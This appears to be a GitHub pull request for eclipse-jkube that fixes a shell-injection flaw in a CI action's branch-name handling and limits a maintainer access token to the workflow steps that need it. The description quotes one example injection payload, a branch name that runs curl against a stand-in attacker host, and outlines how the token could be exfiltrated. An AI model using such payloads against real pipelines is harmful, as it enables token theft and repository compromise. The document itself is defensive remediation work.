Skip to content

fix: eliminate shell injection and scope PAT to only steps that need it - #208

Open
ash-thakur-rh wants to merge 3 commits into
eclipse-jkube:mainfrom
ash-thakur-rh:fix/exec-shell-injection-and-token-scoping
Open

fix: eliminate shell injection and scope PAT to only steps that need it#208
ash-thakur-rh wants to merge 3 commits into
eclipse-jkube:mainfrom
ash-thakur-rh:fix/exec-shell-injection-and-token-scoping

Conversation

@ash-thakur-rh

@ash-thakur-rh ash-thakur-rh commented Aug 3, 2026

Copy link
Copy Markdown

Summary

This PR fixes a vulnerability where:

  1. Shell command injection via PR branch namechild_process.execSync() with string interpolation in pull-requests.js:17 allows an attacker to inject shell commands through a crafted branch name (e.g., x$(curl${IFS}attacker.example)). Double-quoting does not prevent $() command substitution.

  2. Arbitrary code execution via fork's pom.xmlaction-checkout.js:23 runs mvn clean install on attacker-controlled fork source, which is arbitrary code execution by design.

  3. PAT exposed to untrusted codeACCESS_TOKEN (a maintainer PAT) is set at workflow level in e2e.yml, making it available to all steps including those that clone and build untrusted fork content.

Both vectors allow an unauthenticated GitHub user who opens a PR to exfiltrate the maintainer PAT within seconds (via the automatic repository_dispatch webhook), gaining write access to Eclipse JKube repositories.

Changes

Layer 1 — Eliminate shell injection sinks:

  • Replace execSync(templateString) with execFileSync(cmd, argsArray) in pull-requests.js and action-checkout.js. The array form bypasses /bin/sh entirely, so $(), backticks, and other shell metacharacters in branch names are treated as literal strings.

Layer 2 — Scope the PAT:

  • Remove the workflow-level ACCESS_TOKEN env var from e2e.yml.
  • Add step-level env: ACCESS_TOKEN only on steps that call the GitHub API (init, resolve-pr, update-status, teardown).
  • Split the monolithic checkout step into:
    • resolve-pr (needs token) — calls octokit.pulls.get(), writes PR metadata (clone URL + branch ref) to pr-metadata.json.
    • clone-and-install (no token) — reads the metadata file, runs git clone and mvn install. The PAT is never in this step's process environment.
  • Make config.auth a lazy getter so modules that don't need the token can load without ACCESS_TOKEN set.
  • Change index.js to lazy-require action modules so only the invoked action's dependency tree is loaded.

Defense in depth: Even if one layer is bypassed, the other still protects. execFileSync prevents injection even if the token were present; scoping the token prevents exfiltration even if injection were possible.

Files changed

File Change
src/pull-requests.js execSyncexecFileSync
src/action-checkout.js execSyncexecFileSync (3 sinks)
src/config.js auth: computeAuth()get auth() { return computeAuth(); }
src/index.js Eager requires → lazy requires per action
src/action-resolve-pr.js New — resolves PR metadata with token
src/action-clone-and-install.js New — clones and builds without token
.github/workflows/e2e.yml Scoped token, split checkout steps
tests/pull-requests.test.js New — tests for execFileSync usage and malicious branch handling
tests/action-resolve-pr.test.js New — tests for metadata resolution and file writing
tests/action-clone-and-install.test.js New — tests for clone/build with metadata and injection safety

Test plan

  • All existing tests pass (4 suites, 11 tests)
  • New tests pass (3 suites, 12 tests) — covering execFileSync usage, malicious branch name handling, metadata write/read, and error scenarios
  • Verify resolve-pr action writes pr-metadata.json correctly when triggered with a real PR
  • Verify clone-and-install action reads metadata and clones/builds successfully
  • Verify update-status steps still post PR comments correctly
  • Verify the standalone (non-PR) path still works on workflow_dispatch
  • Verify the Windows job works with the split steps

Replace child_process.execSync(templateString) with
child_process.execFileSync(cmd, argsArray) in pull-requests.js and
action-checkout.js to prevent OS command injection via attacker-controlled
PR branch names (CWE-78).

Remove the workflow-level ACCESS_TOKEN env var from e2e.yml and add it
only as step-level env on the specific steps that need GitHub API access
(init, resolve-pr, update-status). Clone and build steps no longer have
the PAT in their process environment, preventing exfiltration via
malicious pom.xml or branch-name payloads (CWE-522, CWE-829).

Split the monolithic "checkout" workflow step into "resolve-pr" (needs
token, writes PR metadata to file) and "clone-and-install" (no token,
reads metadata, clones fork, runs Maven build). This ensures the
privileged credential is never present during execution of untrusted code.

Make config.auth a lazy getter so modules that do not need the token can
load without ACCESS_TOKEN in the environment. Change index.js to
lazy-require action modules so only the invoked action's dependency tree
is loaded.
- pull-requests: verify execFileSync with array args, malicious branch
  name passed literally, error handling
- action-resolve-pr: verify metadata file written with correct content,
  malicious ref preserved literally
- action-clone-and-install: verify execFileSync calls for git clone, mvn
  install, and IT clone with metadata values, malicious branch literal
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants